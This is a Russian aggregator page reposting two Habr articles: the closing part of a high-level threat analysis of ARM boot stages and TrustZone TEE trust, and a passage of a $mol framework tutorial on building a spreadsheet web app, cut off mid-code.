        В современных системах используются другие виды памяти, потому что они дешевле, а объем больше. Это NAND, eMMC, SPI/QSPI Flash. Эти типы памяти уже не работают по принципу: подал адрес — читаешь данные, а значит, для прямого исполнения команд из них не подходят. Даже для простого чтения тут требуется написать драйвер, и мы имеем проблему «курицы и яйца»: драйвер нужно откуда-то заранее загрузить.

        По этой причине в современные процессоры ARM интегрировано ПЗУ с предзагрузчиком. ПЗУ отображено в памяти процессора на адрес 0, и именно с него начинает исполнение команд процессор.

        В задачи предзагрузчика входят следующие:

        • определение конфигурации подключенных устройств;
        • определение загрузочного носителя (ЗН);
        • инициализация устройств и ЗН;
        • чтение загрузчика с ЗН;
        • передача управления загрузчику.

        Конфигурация предзагрузчика обычно устанавливается одним из двух способов:

        • схемотехнически, подключением определенных выводов процессора к земле или шине питания;
        • записывается в однократно-программируемую память процессора на этапе производства.

        В целом почти всегда есть возможность задать единственный вариант загрузки или основной и несколько альтернативных. При этом в числе альтернативных может быть первичная загрузка через USB или последовательный порт, что очень удобно при первоначальной инициализации на производстве.

        Подобный предзагрузчик устанавливается как в процессорах ARM, таких, как Cortex-A, так и в микроконтроллерах, даже таких маленьких, как Cortex-M0. Вместе с предзагрузчиком процедура запуска ОС выглядит так:

        Анализ угроз на этом этапе


        Исходный код предзагрузчика пишется производителем процессора, а не компанией ARM, является частью микросхемы как продукта компании-производителя и защищен авторским правом. Например, в процессорах ARM компаний Atmel и NXP предзагрузчики написаны, соответственно, Atmel и NXP.

        В некоторых случаях предзагрузчик можно прочитать из ROM и проанализировать, но иногда доступ к нему ограничен. Например, предзагрузчик процессора серии Psoc4000 компании Cypress был закрыт несколькими слоями защиты (но был взломан талантливым хакером).

        Использования предзагрузчика в большинстве сценариев избежать нельзя. Можно рассматривать его как вариант BIOS, которого в ARM-системах нет.

        Скрытый текст
        Вообще-то, у ARMv8-A есть ARM Trusted Firmware, это системное ПО, отвечающее, например, за управление питанием (PSCI). Вот этот код можно считать BIOS для ARMv8. У ARMv7 и ранее такого стандартного ПО нет.

        Сам по себе предзагрузчик в ROM несет в себе угрозу нарушения порядка загрузки и выполнения произвольного кода. Но после того как управление передано загрузчику ОС, предзагрузчик уже безвреден. Мы можем просто не передавать ему управление, перенастроить все обработчики прерываний и так далее.

        В некоторые небольшие микроконтроллеры производители интегрируют в ROM-библиотеки для работы с периферийными устройствами, которые требуется вызывать на протяжении всей работы микроконтроллера. В этом случае системное ПО (загрузчик и ОС) само периодически передает управление куда-то в область предзагрузчика, и схема передачи управления получается следующей:

        Это в общем случае небезопасно, но встречается только в некоторых микроконтроллерах на архитектуре ARM. На таких микроконтроллерах обычно запускаются программы без ОС или малые RTOS, и дизайнер системы может оценить риски.

        Загрузка с TrustZone


        В процессоры ARM Cortex-A и Cortex-R встраивается технология TrustZone. Эта технология позволяет на аппаратном уровне выделить два режима исполнения: Secure (Безопасный) и Non-Secure (Гостевой).

        Эти процессоры в основном нацелены на рынок смартфонов и планшетных компьютеров, и TrustZone используется для создания в режиме Secure доверенной “песочницы” для исполнения кода, связанного с криптографией, DRM, хранением пользовательских данных.

        В режиме Secure при этом запускается специальная ОС, называемая в общем случае TEE (Trusted Execution Environment, доверенная среда исполнения), а нормальная ОС, такая, как Linux, Android, iOS, запускается в режиме Non-Secure. При этом права доступа к некоторым устройствам ограничены для нормальной ОС, поэтому ее еще называют гостевой ОС.

        Из-за наложенных ограничений гостевая ОС вынуждена время от времени вызывать функции TEE для исполнения некоторых операций. TEE продолжает существовать параллельно с гостевой ОС все время, и гостевая ОС не может ничего с этим поделать.

        Например, гостевая ОС использует функции TEE для:

        • включения и выключения ядер процессора (в ARMv8-A это происходит через PSCI — часть ARM Trusted Firmware, а в ARMv7 — по-разному для каждого производителя процессоров);
        • хранения ключей, данных банковских карт и т.п.;
        • хранения ключей полнодискового шифрования;
        • операций с криптографией;
        • отображения DRM-контента.

        При этом, с точки зрения безопасности, на время таких вызовов управление передается в неизвестный нам, непроверенный код. Мы не можем однозначно сказать, что делают Samsung KNOX или QSEE от Qualcomm.

        Почему же разработчики систем соглашаются на такой режим функционирования? В процессоры с поддержкой TrustZone встроен и механизм Secure Boot в том или ином виде.

        С Secure Boot предзагрузчик проверяет подпись загружаемого образа с помощью прошитого на этапе производства открытого ключа. Таким образом, гарантируется, что загружен будет только подписанный образ. Это функция безопасности.

        То есть загрузка ОС становится следующей:

        1. стартует предзагрузчик в ROM. Он загружает ключи для проверки подписи TEE из ROM;
        2. предзагрузчик загружает в память образ TEE, проверяет подпись. Если проверка прошла успешно, запускается TEE;
        3. TEE настраивает режимы Secure и Non-Secure. Далее TEE загружает основной загрузчик ОС и переходит на него в режиме Non-Secure. Сам TEE остается в режиме Secure и ждет;
        4. загрузчик основной ОС загружает ОС как обычно;
        5. ОС вынуждена время от времени вызывать функции TEE для выполнения некоторых задач.

        Однако производитель, как правило, поставляет подписанные образы загрузчика и TEE в составе SDK для процессора и поставляет процессоры, уже “зашитые” ключом производителя. В этом случае предзагрузчик из ROM не станет выполнять любой загрузчик, если он не подписан производителем. Все основные процессоры для смартфонов сейчас поставляются уже “прошитыми” под исполнение собственного TEE перед исполнением загрузчика ОС.

        Далее действует лень — c TEE все работает, а без TEE даже не запускается. Разработчики используют SDK с TEE, вызывают закрытый бинарный код из ядра Linux и не волнуются.

        Как проверить свой проект на обращения к TrustZone


        Может даже показаться, что всей этой TrustZone не существует, по крайней мере, в вашей конкретной разработке. Проверить это совсем несложно.

        Дело в том, что все процессоры с TrustZone стартуют в режиме Secure, а только потом переключаются в Normal. Если ваша ОС запущена в режиме Normal, то какая-то Secure OS (TEE) существует в системе и перевела ее в этот режим.

        Лакмусовой бумажкой является обращение к TEE для включения кэш-памяти 2-го уровня. По какой-то причине архитектура ARM не позволяет этого делать из Normal World. Поэтому для включения кэша ядру ОС потребуется сделать хоть один вызов к TrustZone. Делается это единственной командой: smc #0, и вы можете поискать ее сами в ядре Linux или Android.

        Разумеется, мы и сами поискали, и нашли такие вызовы в коде поддержки ряда процессоров Qualcomm, Samsung, Mediatek, Rockchip, Spreadtrum, HiSilicon, Broadcom, Cavium.

        Загрузка ARM Cortex-A и анализ угроз


        Итак, обещанный процесс загрузки ОС на ARM (здесь — Cortex-A) в четыре блока:

        На схеме пунктиром обозначен путь обращения из ядра ОС в TEE.

        В двух блоках — неизвестный нам код. Посмотрим, чем это грозит.

        Технически, любой из компонентов системного ПО может содержать ошибки, намеренные закладки и так далее. Однако в большинстве случаев загрузчик, ОС и системное ПО можно проверить, изучив исходные коды. Сконцентрируемся на возможных угрозах, исходящих от предзагрузчика и TEE, исходные коды к которым закрыты.

        Предзагрузчик работает на самом раннем этапе, когда схема подключения к процессору различных периферийных устройств еще не известна, никакие коммуникационные устройства (WiFi, 3G и т.д.) не настроены, коммуникационные протоколы не работают. При этом предзагрузчик – небольшая программа, с размером кода порядка нескольких десятков килобайт, и сложно представить размещение в нем полных стеков протоколов или серьезной эвристики по определению подключенных устройств. Поэтому предзагрузчик вряд ли таит в себе серьезные закладки, связанные со слежкой, передачей данных и т.п.

        Гораздо более интересной точкой атаки является TEE, так как его функции вызываются в процессе работы ОС, когда все периферийные устройства работают, а коммуникационные протоколы настроены. Создание шпионской закладки в коде TEE позволяет практически неограниченно следить за пользователем СВТ.

        В небольшом исследовании мы показали реализуемость закладки в TEE, незаметно перехватывающей системные вызовы ОС Linux. Для активации закладки нужно только одно обращение из ядра Linux в TEE (например, то самое, для кэша второго уровня), после чего система становится полностью управляемой. Это позволяет:

        • контролировать чтение и запись файлов, модифицировать данные «на лету»;
        • перехватывать пользовательский ввод, причем введенные символы перехватываются даже с экранной клавиатуры;
        • незаметно внедрять свои данные при коммуникации с удаленными серверами, в том числе по протоколу https, маскируя передачу шпионской информации под обычный зашифрованный Web-трафик.

        Несомненно, выявленные возможности – только вершина айсберга, и создание закладок не было целью исследования.

        Выводы


        Мы рассмотрели процесс загрузки различных микроконтроллеров и процессоров ARM.

        У микроконтроллеров наиболее уязвимым местом в процессе загрузки является загрузчик ОС.

        Современные процессоры ARM Cortex-A включают в себя TrustZone — и от этого никуда не уйти. TrustZone предполагает запуск перед ОС доверенной среды исполнения TEE.

        TEE является самой уязвимой точкой в процессе загрузки ОС на ARM Cortex-A, потому что обращения к TEE приводят к выполнению закрытого системного кода, известного производителю, но скрытого от нас.

        Без контроля над TEE невозможно обеспечить безопасность и доверенность исполнения любой ОС на ARM Cortex-A.
        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338806/


        [recovery mode] $mol_app_calc: вечеринка электронных таблиц

        Среда, 27 Сентября 2017 г. 10:47 + в цитатник
        vintage сегодня в 10:47 Разработка

        $mol_app_calc: вечеринка электронных таблиц

        Здравствуйте, меня зовут Дмитрий Карловский и я… обожаю математику. Однажды мне не спалось и я запилил сервис для таких же отбитых как и я — легковесную электронную таблицу с пользовательскими формулами, шарингом и скачиванием.


        Живой пример с расчётом кредита:


        Кредитный калькулятор


        А дальше я расскажу, как сотворить такое же за вечер используя фреймворк $mol...


        Это что за покемон?


        $mol — современный фреймворк для быстрого создания кроссплатформенных отзывчивых веб-приложений. Он базируется на архитектуре MAM устанавливающей следующие правила для всех модулей:


        • Модуль — это директория, содержащая исходные коды.
        • Исходные коды могут быть на самых разных языках.
        • Все языки равноправны в рамках модуля.
        • Модули могут образовывать иерархию.
        • Имя модуля жёстко соответствует пути к нему в файловой системе.
        • Между модулями могут быть зависимости.
        • Информация о зависимостях модуля получается статическим анализом его исходных кодов.
        • Любой модуль можно собрать как набор независимых бандлов на разных языках (js, css, tree...).
        • В бандлы попадают только те модули, что реально используются.
        • В бандл попадают все исходные коды модуля.
        • У модулей нет версий — всегда используется актуальный код.
        • Интерфейс модулей должен быть открыт для расширения, но закрыт для изменения.
        • Если нужен другой интерфейс — нужно создать новый модуль. Например /my/file/ и /my/file2/. Это позволит использовать оба интерфейса не путаясь в них.

        Рабочее окружение


        Начать разработку на $mol очень просто. Вы один раз разворачиваете рабочее окружение и далее клепаете приложения/библиотеки как пирожки.


        Для начала вам потребуется установить:



        Если вы работаете под Windows, то стоит настроить GIT, чтобы он не менял концы строк в ваших исходниках:


        git config --global core.autocrlf input

        Теперь следует развернуть MAM проект, который автоматически поднимет вам девелоперский сервер:


        git clone https://github.com/eigenmethod/mam.git
        cd mam
        npm install
        npm start

        Всё, сервер разработчика запущен, можно открывать редактор. Обратите внимание, что в редакторе нужно открывать именно директорию MAM проекта, а не проекта конкретного приложения или вашей компании.


        Как видите, начать разрабатывать на $mol очень просто. Основной принцип MAM архитектуры — из коробки всё должно работать как следует, а не требовать долгой утомительной настройки.


        Каркас приложения


        Для конспирации наше приложение будет иметь позывной $mol_app_calc. По правилам MAM лежать оно должно соответственно в директории /mol/app/calc/. Все файлы в дальнейшем мы будем создавать именно там.


        Первым делом создадим точку входа — простой index.html:


        
        
            
                
                
                
            
            
                
            
        

        Ничего особенного, разве что мы указали точку монтирования приложения специальным атрибутом mol_view_root в котором обозначили, что монтировать надо именно наше приложение. Архитектура $mol такова, что любой компонент может выступать в качестве корня приложения. И наоборот, любое $mol приложение — не более, чем обычный компонент и может быть легко использовано внутри другого приложения. Например, в галерее приложений.


        Обратите внимание, что мы уже сразу прописали пути к скриптам и стилям — эти бандлы будут собираться автоматически для нашего приложения и включать в себя только те исходные коды, что реально ему необходимы. Забегая вперёд стоит заметить, что общий объём приложения составит каких-то 36KB без минификации, но с зипованием:


        Network timeline


        Итак, чтобы объявить компонент, который будет нашим приложением, нам нужно создать файл calc.view.tree, простейшее содержимое которого состоит всего из одной строчки:


        $mol_app_calc $mol_page

        Второе слово — имя базового компонента, а первое — имя нашего, который будет унаследован от базового. Таким образом каждый компонент является преемником какого-либо другого. Самый-самый базовый компонент, от которого происходят все остальные — $mol_view. Он даёт всем компонентам лишь самые базовые стили и поведение. В нашем случае, базовым будет компонент $mol_page представляющий собой страницу с шапкой, телом и подвалом.


        Из calc.view.tree будет автоматически сгенерирован TypeScript класс компонента и помещён в -view.tree/calc.view.tree.ts, чтобы среда разработки могла его подхватить:


        namespace $ { export class $mol_app_calc extends $mol_page {
        } }

        Собственно, сейчас приложение уже можно открыть по адресу http://localhost:8080/mol/app/calc/ и увидеть пустую страничку c позывным в качестве заголовка:


        Пустой $mol_page


        Синтаксис view.tree довольно необычен, но он прост и лаконичен. Позволю себе процитировать один из отзывов о нём:


        Синтаксис tree очень легко читать, но нужно немного привыкнуть и не бросить всё раньше времени. Мой мозг переваривал и негодовал около недели, а потом приходит просветление и понимаешь как сильно этот фреймворк упрощает процесс разработки. © Виталий Макеев

        Так что не пугаемся, а погружаемся! И начнём с общей раскладки страницы — она будет состоять у нас из шапки, панели редактирования текущей ячейки и собственно таблицы с данными.


        У каждого компонента есть свойство sub(), которое возвращает список того, что должно быть отрендерено непосредственно внутри компонента. У $mol_page туда рендерятся значения свойств Head(), Body() и Foot(), которые возвращают соответствующе подкомпоненты:


        $mol_page $mol_view
            sub /
                <= Head $mol_view
                <= Body $mol_scroll
                <= Foot $mol_view

        В данном коде опущены детали реализации подкомпонент, чтобы была видна суть. Объявляя подкомпонент (он же "Элемент" в терминологии БЭМ) мы указываем его имя в контексте нашего компонента и имя класса, который должен быть инстанцирован. Созданный таким образом экземпляр компонента будет закеширован и доступен через одноимённое свойство. Например, this.Body() в контексте нашего приложения вернёт настроенный экземпляр $mol_scroll. Говоря паттернами, свойство Body() выступает в качестве локальной ленивой фабрики.


        Давайте преопределим свойство sub(), чтобы оно возвращало нужные нам компоненты:


        $mol_app_calc $mol_page
            sub /
                <= Head -
                <= Current $mol_bar
                <= Body $mol_grid

        Тут мы оставили шапку от $mol_page, добавили $mol_bar в качестве панельки редактирования текущей ячейки, в качестве тела страницы использовали $mol_grid — компонент для рисования виртуальных таблиц, а подвал так и вовсе убрали, так как он нам без надобности.


        Давайте взглянем, как изменился сгенерированный класс:


        namespace $ { export class $mol_app_calc extends $mol_page {
        
            /// sub / 
            ///     <= Head - 
            ///     <= Current - 
            ///     <= Body -
            sub() {
                return [].concat( this.Head() , this.Current() , this.Body() )
            }
        
            /// Current $mol_bar
            @ $mol_mem
            Current() {
                return new this.$.$mol_bar
            }
        
            /// Body $mol_grid 
            @ $mol_mem
            Body() {
                return new this.$.$mol_grid
            }
        
        } }

        Визитная карточка $mol — очень "читабельный" код. Это касается не только генерируемого кода, но и кода модулей самого $mol, и прикладного кода создаваемых на его базе приложений.


        Возможно вы обратили внимание на то, что объекты создаются не прямым инстанцированием по имени класса new $mol_grid, а через this.$. Поле $ есть у любого компонента и возвращает глобальный контекст или реестр, говоря паттернами. Отличительной особенностью доступа ко глобальным значениям через поле $ является возможность любому компоненту переопределить контекст для всех вложенных в него на любую глубину компонентов. Таким образом $mol в крайне практичной и ненавязчивой форме реализует инверсию контроля, позволяющую подменять реализации использующиеся где-то в глубине переиспользуемого компонента.


        Формирование таблицы


        Что ж, давайте нарастим немного мясца и настроим вложенные компоненты под себя: гриду нужно объяснить, какие у нас будут идентификаторы столбцов, какие идентификаторы строк, а также списки ячеек в шапке и теле таблицы.


        Body $mol_grid
            col_ids <= col_ids /
            row_ids <= row_ids /
            head_cells <= head_cells /
            cells!row <= cells!row /

        Генерируемый класс расширится следующим описанием:


        /// Body $mol_grid 
        ///     col_ids <= col_ids - 
        ///     row_ids <= row_ids - 
        ///     head_cells <= head_cells - 
        ///     cells!row <= cells!row -
        @ $mol_mem
        Body() {
            const obj = new this.$.$mol_grid
            obj.col_ids = () => this.col_ids()
            obj.row_ids = () => this.row_ids()
            obj.head_cells = () => this.head_cells()
            obj.cells = ( row ) => this.cells( row )
            return obj
        }

        Как видите, мы просто переопределили соответствующие свойства вложенного компонента на свои реализации. Это очень простая, но в то же время мощная техника, позволяющая реактивно связывать компоненты друг с другом. В синтаксисе view.tree поддерживается 3 типа связывания:


        • Левостороннее (как в коде выше), когда мы указываем вложенному компоненту какое значение должно возвращать его свойство.
        • Правостороннее, когда мы создаём у себя свойство, которое выступает алиасом для свойства вложенного компонента.
        • Двустороннее, когда указываем вложенному компоненту читать из и писать в наше свойство, думая, что работает со своим.

        Для иллюстрации двустороннего связывания, давайте детализируем панель редактирования текущей ячейки:


        Current $mol_bar
            sub /
                <= Pos $mol_string
                    enabled false
                    value <= pos \
                <= Edit $mol_string
                    hint \=
                    value?val <=> formula_current?val \

        Как видно оно у нас будет состоять у нас из двух полей ввода:


        • Координаты ячейки. Пока что запретим их изменять через свойство enabled — оставим этот функционал на будущее.
        • Поле ввода формулы. Тут мы уже двусторонне связываем свойство value поля ввода и наше свойство formula_current, которое мы тут же и объявляем, указав значение по умолчанию — пустую строку.

        Код свойств Edit и formula_current будет сгенерирован примерно следующий:


        /// Edit $mol_string 
        ///     hint \=
        ///     value?val <=> formula_current?val -
        @ $mol_mem
        Edit() {
            const obj = new this.$.$mol_string
            obj.hint = () => "="
            obj.value = ( val? ) => this.formula_current( val )
            return obj
        }
        
        /// formula_current?val \
        @ $mol_mem
        formula_current( val? : string , force? : $mol_atom_force ) {
            return ( val !== undefined ) ? val : ""
        }

        Благодаря реактивному мемоизирующему декоратору $mol_mem, возвращаемое методом formula_current значение кешируется до тех пока пока оно кому-нибудь нужно.


        Пока что у нас было лишь декларативное описание композиции компонент. Прежде чем мы начнём описывать логику работы, давайте сразу объявим как у нас будут выглядеть ячейки:


        Col_head!id $mol_float
            dom_name \th
            horizontal false
            sub / <= col_title!id \
        -
        Row_head!id $mol_float
            dom_name \th
            vertical false
            sub / <= row_title!id \
        -
        Cell!id $mol_app_calc_cell
            value <= result!id \
            selected?val <=> selected!id?val false

        Заголовки строк и колонок у нас будут плавающими, поэтому мы используем для них компонент $mol_float, который отслеживает позицию скроллинга, предоставляемую компонентом $mol_scroll через контекст, и смещает компонент так, чтобы он всегда был в видимой области. А для ячейки заводим отдельный компонент $mol_app_calc_cell:


        $mol_app_calc_cell $mol_button
            dom_name \td
            sub /
                <= value \
            attr *
                ^
                mol_app_calc_cell_selected <= selected?val false
                mol_app_calc_cell_type <= type?val \
            event_click?event <=> select?event null

        Этот компонент у нас будет кликабельным, поэтому мы наследуем его от $mol_button. События кликов мы направляем в свойство select, которое в дальнейшем у нас будет переключать редактор ячейки на ту, по которой кликнули. Кроме того, мы добавляем сюда пару атрибутов, чтобы по особенному стилизовать выбранную ячейку и обеспечить ячейкам числового типа выравниванием по правому краю. Забегая верёд, стили для ячеек у нас будут простые:


        [mol_app_calc_cell] {
            user-select: text; /* по умолчанию $mol_button не выделяемый */
            background: var(--mol_skin_card); /* используем css-variables благодаря post-css */
        }
        
        [mol_app_calc_cell_selected] {
            box-shadow: var(--mol_skin_focus_outline);
            z-index: 1;
        }
        
        [mol_app_calc_cell_type="number"] {
            text-align: right;
        }

        Обратите внимание на одноимённый компоненту селектор [mol_app_calc_cell] — соответствующий атрибут добавляется dom-узлу автоматически, полностью избавляя программиста от ручной работы по расстановке css-классов. Это упрощает разработку и гарантирует консистентность именования.


        Наконец, чтобы добавить свою логику, мы создаём calc.view.ts, где создаём класс в пространстве имён $.$$, который наследуем от одноимённого автоматически сгенерированного класса из пространства имён $:


        namespace $.$$ {
            export class $mol_app_calc_cell extends $.$mol_app_calc_cell {
                // переопределения свойств
            }
        }

        Во время исполнения оба пространства имён будут указывать на один и тот же объект, а значит наш класс с логикой после того как отнаследуется от автогенерированного класса просто займёт его место. Благодаря такой хитрой манипуляции добавление класса с логикой остаётся опциональным, и применяется только, когда декларативного описания не хватает. Например, переопределим свойство select(), чтобы при попытке записать в него объект события, оно изменяло свойство selected() на true:


        select( event? : Event ) {
            if( event ) this.selected( true )
        }

        А свойство type() у нас будет возвращать тип ячейки, анализируя свойство value():


        type() {
            const value = this.value()
            return isNaN( Number( value ) ) ? 'string' : 'number'
        }

        Но давайте вернёмся к таблице. Аналогичным образом мы добавляем логику к компоненту $mol_app_calc:


        export class $mol_app_calc extends $.$mol_app_calc {
        }

        Первым делом нам надо сформировать списки идентификаторов строк row_ids() и столбцов col_ids():


        @ $mol_mem
        col_ids() {
            return Array( this.dimensions().cols ).join(' ').split(' ').map( ( _ , i )=> this.number2string( i ) )
        }
        
        @ $mol_mem
        row_ids() {
            return Array( this.dimensions().rows ).join(' ').split(' ').map( ( _ , i )=> i + 1 )
        }

        Они зависят от свойства dimensions(), которое мы будем вычислять на основе заполненности ячеек, так, чтобы у любой заполненной ячейки было ещё минимум две пустые справа и снизу:


        @ $mol_mem
        dimensions() {
        
            const dims = {
                rows : 2 ,
                cols : 3 ,
            }
        
            for( let key of Object.keys( this.formulas() ) ) {
                const parsed = /^([A-Z]+)(\d+)$/.exec( key )
        
                const rows = Number( parsed[2] ) + 2
                const cols = this.string2number( parsed[1] ) + 3
        
                if( rows > dims.rows ) dims.rows = rows
                if( cols > dims.cols ) dims.cols = cols
            }
        
            return dims
        }

        Методы string2number() и number2string() просто преобразуют буквенные координаты колонок в числовые и наоборот:


        number2string( numb : number ) {
            const letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
            let str = ''
            do {
                str = letters[ numb % 26 ] + str
                numb = Math.floor( numb / 26 )
            } while ( numb )
            return str
        }
        
        string2number( str : string ) {
            let numb = 0
            for( let symb of str.split( '' ) ) {
                numb = numb * 26
                numb += symb.charCodeAt( 0 ) - 65
            }
            return numb
        }

        Размерность таблицы мы вычисляем на основе реестра формул, который берём из свойства formulas(). Возвращать оно должно json вида:


        {
            "A1" : "12" ,
            "B1" : "=A1*2"
        }

        А сами формулы мы будем брать и строки адреса, вида #A1=12/B1=%3DA1*2:


        @ $mol_mem
        formulas( next? : { [ key : string ] : string } ) {
            const formulas : typeof next = {}
        
            let args = this.$.$mol_state_arg.dict()
            if( next ) args = this.$.$mol_state_arg.dict({ ... args , ... next })
        
            const ids = Object.keys( args ).filter( param => /^[A-Z]+\d+$/.test( param ) )
        
            for( let id of ids ) formulas[ id ] = args[ id ]
        
            return formulas
        }

        Как видно, свойство formulas() изменяемое, то есть мы можем через него как прочитать формулы для ячеек, так и записать обновление в адресную строку. Например, если выполнить: this.formulas({ 'B1' : '24' }), то в адресной строке мы увидим уже #A1=12/B1=24.


        Адресная строка


        Кроссплатформенный модуль $mol_state_arg позволяет нам работать с параметрами приложения как со словарём, но как правило удобнее получать и записывать конкретный параметр по имени. Например, позволим пользователю изменять название нашей таблицы, которое мы опять же будем сохранять в адресной строке:


        title( next? : string ) {
            const title = this.$.$mol_state_arg.value( `title` , next )
            return title == undefined ? super.title() : title
        }

        Как можно заметить, если в адресной строке имя таблицы не задано, то будет взято имя заданное в родительском классе, который генерируется из calc.view.tree, который мы сейчас обновим, добавив в шапку вместо простого вывода заголовка, поле ввода-вывода заголовка:


        head /
            <= Title_edit $mol_string
                value?val <=> title?val @ \Spreedsheet
            <= Tools -

        head() — свойство из $mol_page, которое возвращает список того, что должно быть отрендерено внутри подкомпонента Head(). Это типичный паттерн в $mol — называть вложенный компонент и его содержимое одним и тем же словом, с той лишь разницей, что имя компонента пишется с большой буквы.


        Tools() — панель инструментов из $mol_page, отображаемая с правой стороны шапки. Давайте сразу же заполним и её, поместив туда кнопку скачивания таблицы в виде CSV файла:


        tools /
            <= Download $mol_link
                hint <= download_hint @ \Download
                file_name <= download_file \
                uri <= download_uri?val \
                click?event <=> download_generate?event null
                sub /
                    <= Download_icon $mol_icon_load

        $mol_link — компонент для формирования ссылок. Если ему указать file_name(), то по клику он предложит скачать файл по ссылке, сохранив его под заданным именем. Давайте же сразу сформируем это имя на основе имени таблицы:


        download_file() {
            return `${ this.title() }.csv`
        }

        Локализация


        Обратите внимание на символ собачки перед значением по умолчанию на английском языке:


        download_hint @ \Download

        Вставка этого символа — это всё, что вам необходимо, чтобы добавить вашему приложению поддержку локализации. В сгенерированном классе не будет строки "Download" — там будет лишь запрос за локализованным текстом:


        /// download_hint @ \Download
        download_hint() {
            return $mol_locale.text( "$mol_app_calc_download_hint" )
        }

        А сами английские тексты будут автоматически вынесены в отдельный файл -view.tree/calc.view.tree.locale=en.json:


        {
            "$mol_app_calc_title": "Spreedsheet",
            "$mol_app_calc_download_hint": "Download"
        }

        Как видно, для текстов были сформированы уникальные человекопонятные ключи. Вы можете отдать этот файл переводчикам и переводы от них поместить в фалы вида *.locale=*.json. Например, добавим нашему компоненту переводы на русский язык в файл calc.locale=ru.json:


        {
            "$mol_app_calc_title" : "Электронная таблица" ,
            "$mol_app_calc_download_hint" : "Скачать"
        }

        Теперь, если у вас в браузере выставлен русский язык в качестве основного, то при старте приложения, будет асинхронно подгружен бандл с русскоязычными текстами -/web.locale=ru.json. А пока идёт загрузка, компоненты, зависящие от переводов, будут автоматически показывать индикатор загрузки.


        Заполняем ячейки


        Итак, у нас есть идентификаторы строк и столбцов. Давайте сформируем списки ячеек. Сперва заголовки колонок:


        @ $mol_mem
        head_cells() {
            return [ this.Col_head( '' ) , ... this.col_ids().map( colId => this.Col_head( colId ) ) ]
        }

        Обратите внимание, мы добавили лишнюю колонку вначале, так как в ней у нас будут располагаться заголовки строк. А вот и ячейки для строк:


        cells( row_id : number ) {
            return [ this.Row_head( row_id ) , ... this.col_ids().map( col_id => this.Cell({ row : row_id , col : col_id }) ) ]
        }

        Далее, вспоминаем, про свойства, которые мы провязывали для ячеек:


        Cell!id $mol_app_calc_cell
            value <= result!id \
            selected?val <=> selected!id?val false

        У ячейки это просто обычные свойства, а у нас они принимают ключ — идентификатор ячейки.


        Введём свойство current() которое будет хранить идентификатор текущей ячейки:


        current?val *
            row 1
            col \A

        А в реализации selected() мы просто будем сравнивать ячейку по переданному идентификатору и по текущему:


        @ $mol_mem_key
        selected( id : { row : number , col : string } , next? : boolean ) {
            return this.Cell( this.current( next ? id : undefined ) ) === this.Cell( id )
        }

        Разумеется, если в selected() передано true, то будет установлен новый идентификатор в качестве текущего и сравнение ячеек тоже даст true.


        Последний штрих — при выборе ячейки было бы не плохо переносить фокус с её самой на редактор значения:


        @ $mol_mem
        current( next? : { row : number , col : string } ) {
            new $mol_defer( ()=> this.Edit().focused( true ) )
            return next || super.current()
        }

        Тут мы с помощью $mol_defer ставим отложенную задачу перенести фокус на редактор всякий раз когда меняется идентификатор текущей ячейки. Отложенные задачи выполняются в том же фрейме анимации, а значит пользователь не увидит никакого мерцания от перефокусировки. Если бы мы перенесли фокус сразу, то подписались бы на состояние сфокусированности редактора и при перемещении фокуса — сбрасывался бы и идентификатор текущей ячейки, что нам, разумеется, не надо.


        Клавиатурная навигация


        Постоянно тыкать мышью в ячейки для перехода между ними не очень-то удобно. Стрелочками на клавиатуре было бы быстрее. Традиционно в электронных таблицах есть два режима: режим навигации и режим редактирования. Постоянно переключаться между ними тоже напрягает. Поэтому мы сделаем ход конём и совместим редактирование и навигацию. Фокус будет постоянно оставаться на панели редактирования ячейки, но при зажатой клавише Alt, нажатие стрелочек, будет изменять редактируемую ячейку на одну из соседних. Для подобных выкрутасов есть специальный компонент $mol_nav, который является компонентом-плагином.


        В $mol есть 3 вида компонент:


        1. Обычные компоненты, которые создают dom-узел и контролируют его состояние.
        2. Призрачные компоненты, которые не создают dom-узлов, а используют dom-узел переданного им компонента, для добавления поведения/отображения.
        3. Компоненты-плагины, которые тоже не создают dom-узлов, а используют dom-узел компонента владельца для добавления поведения/отображения.

        Добавляются плагины через свойство plugins(). Например, добавим клавиатурную навигацию нашему приложению:


        plugins /
            <= Nav $mol_nav
                mod_alt true
                keys_x <= col_ids /
                keys_y <= row_ids /
                current_x?val <=> current_col?val \A
                current_y?val <=> current_row?val 1

        Тут мы указали, что навигироваться мы будем по горизонтали и по вертикали, по идентификаторам столбцов и колонок, соответственно. Текущие координаты мы будем синхронизировать со свойствами current_col() и current_row(), которые мы провяжем с собственно current():


        current_row( next? : number ) {
            return this.current( next === undefined ? undefined : { ... this.current() , row : next } ).row
        }
        
        current_col( next? : number ) {
            return this.current( next === undefined ? undefined : { ... this.current() , col : next } ).col
        }

        Всё, теперь нажатие Alt+Right, например, будет делать редактируемой ячейку справа от текущей, и так пока не упрётся в самую правую ячейку.


        Копирование и вставка


        Так как ячейки у нас являются ни чем иным, как нативными td dom-элементами, то браузер нам здорово помогает с копированием. Для этого достаточно зажать ctrl, выделить ячейки и скопировать их в буфер обмена. Текстовое представление содержимого буфера будет ни чем иным, как Tab Separated Values, который легко распарсить при вставке. Так что мы смело добавляем обработчик соответствующего события:


        event *
            paste?event <=> paste?event null

        И реализуем тривиальную логику:


        paste( event? : ClipboardEvent ) {
            const table = event.clipboardData.getData( 'text/plain' ).trim().split( '\n' ).map( row => row.split( '\t' ) ) as string[][]
            if( table.length === 1 && table[0].length === 1 ) return
        
            const anchor = this.current()
            const row_start = anchor.row
            const col_start = this.string2number( anchor.col )
            const patch = {}
        
            for( let row in table ) {
                for( let col in table[ row ] ) {
                    const id = `${ this.number2string( col_start + Number( col ) ) }${ row_start + Number( row ) }`
                    patch[ id ] = table[ row ][ col ]
                }
            }
        
            this.formulas( patch )
        
            event.preventDefault()
        }

        Славно, что всё это работает не только в рамках нашего приложения — вы так же можете копипастить данные и между разными табличными процессорами, такими как Microsoft Excel или LibreOffice Calc.


        Выгрузка файла


        Частая хотелка — экспорт данных в файл. Кнопку мы уже добавили ранее. Осталось лишь реализовать формирование ссылки на экспорт. Ссылка должна быть data-uri вида data:text/csv;charset=utf-8,{'url-кодированный текст файла}. Содержимое CSV для совместимости с Microsoft Excel должно удовлетворять следующим требованиям:


        1. ";" в качестве разделителя
        2. Каждое значение должно быть в кавычках.
        3. Кавычки экранируются посредством удвоения.

        download_generate( event? : Event ) {
            const table : string[][] = []
            const dims = this.dimensions()
        
            for( let row = 1 ; row < dims.rows ; ++ row ) {
                const row_data = [] as any[]
                table.push( row_data )
        
